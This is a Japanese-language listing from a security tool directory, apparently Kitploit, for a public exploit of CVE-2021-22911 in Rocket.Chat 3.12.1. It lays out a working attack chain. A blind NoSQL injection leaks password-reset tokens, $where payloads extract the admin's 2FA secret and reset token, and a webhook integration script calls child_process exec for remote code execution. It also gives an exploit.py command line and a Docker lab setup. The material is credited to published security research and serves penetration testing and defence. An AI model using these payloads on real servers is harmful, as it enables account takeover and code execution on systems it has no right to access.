Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-22911 — CVE-2021-22911のエクスプロイト: Rocket Chat 3.12.1における認証前のブラインドNoSQLインジェクション。Webhookスクリプティングを介してアカウント乗っ取りとリモートコード実行を可能にする。 | Kitploit
ツール/GitHubGitHub/mrdottt/cve-2021-22911
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

CVE-2021-22911のエクスプロイト: Rocket Chat 3.12.1における認証前のブラインドNoSQLインジェクション。Webhookスクリプティングを介してアカウント乗っ取りとリモートコード実行を可能にする。

リポジトリを見る
13年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-22911

Rocket Chat 3.12.1 における認証前のブラインド NoSQL インジェクションによるリモートコード実行

  • getPasswordPolicy メソッドは NoSQL インジェクション攻撃に対して脆弱であり、認証/認可を必要としません。パスワードリセットトークンを漏洩させることでアカウントを乗っ取るために使用される可能性があります。管理者アカウントを乗っ取るとリモートコード実行につながります。

説明

  1. ユーザーアカウントの乗っ取り (認証なし)
  • getPasswordPolicy エンドポイントのパスワードリセットの token パラメータに NoSQL インジェクションが存在します。このエンドポイントは JSON オブジェクトを受け取り、$regex 演算子を使用できます。これを使用してブラインド NoSQL インジェクションを実行し、リセットトークンを取得します。
  1. 管理者への権限昇格 (認証済み)
  • 管理者ユーザーはおそらく 2FA で保護されています。そのため (1) で管理者のパスワードを変更しても、ログイン時に 2FA コードが要求されます。
  • users.list API エンドポイントはクエリパラメータを受け取り、NoSQL インジェクションに対して脆弱です。エラーをスローすることでデータを取得することもできます。
  • 管理者の 2FA シークレットを取得するために次のクエリを実行します: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
  • 次に (1) を実行して管理者のパスワードをリセットし、2FA シークレットを使用してコードを生成してログインします。
  • 更新: 2FA シークレットを取得したのと同じ方法でリセットトークンも取得できます: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
  1. RCE (認証済み - 管理者)
  • Rocket.Chat には Integrations と呼ばれる機能があり、受信および送信 Webhook を作成できます。これらの Webhook にはスクリプトを関連付けることができ、Webhook がトリガーされると実行されます。
  • 次のスクリプトを使用してインテグレーションを作成します:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • 次に Webhook をトリガーして RCE を取得します :)

使用方法

  • 2FA が設定されていない低権限ユーザーのメールアドレスが必要です。( -u )
  • 管理者のメールアドレスも必要です。管理者が 2FA で保護されていても問題ありません。( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

環境

  • Rocket Chat 3.12.1 でテスト済み
  • Docker を使用して独自のテスト環境を構築する:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • パスワードポリシーを有効にする
  • 管理者の 2FA を有効にする
  • 通常のユーザーを登録する。

注意: 管理者を 2FA で保護したくない場合は、次の手順を実行できます。

  1. パスワード忘れのメールを送信する
  2. 管理者のリセットトークンを取得する
  3. 取得したリセットトークンを使用してパスワードを変更する
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

クレジット

  • https://hackerone.com/reports/1130721 ( sonar source )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
ツールをダウンロード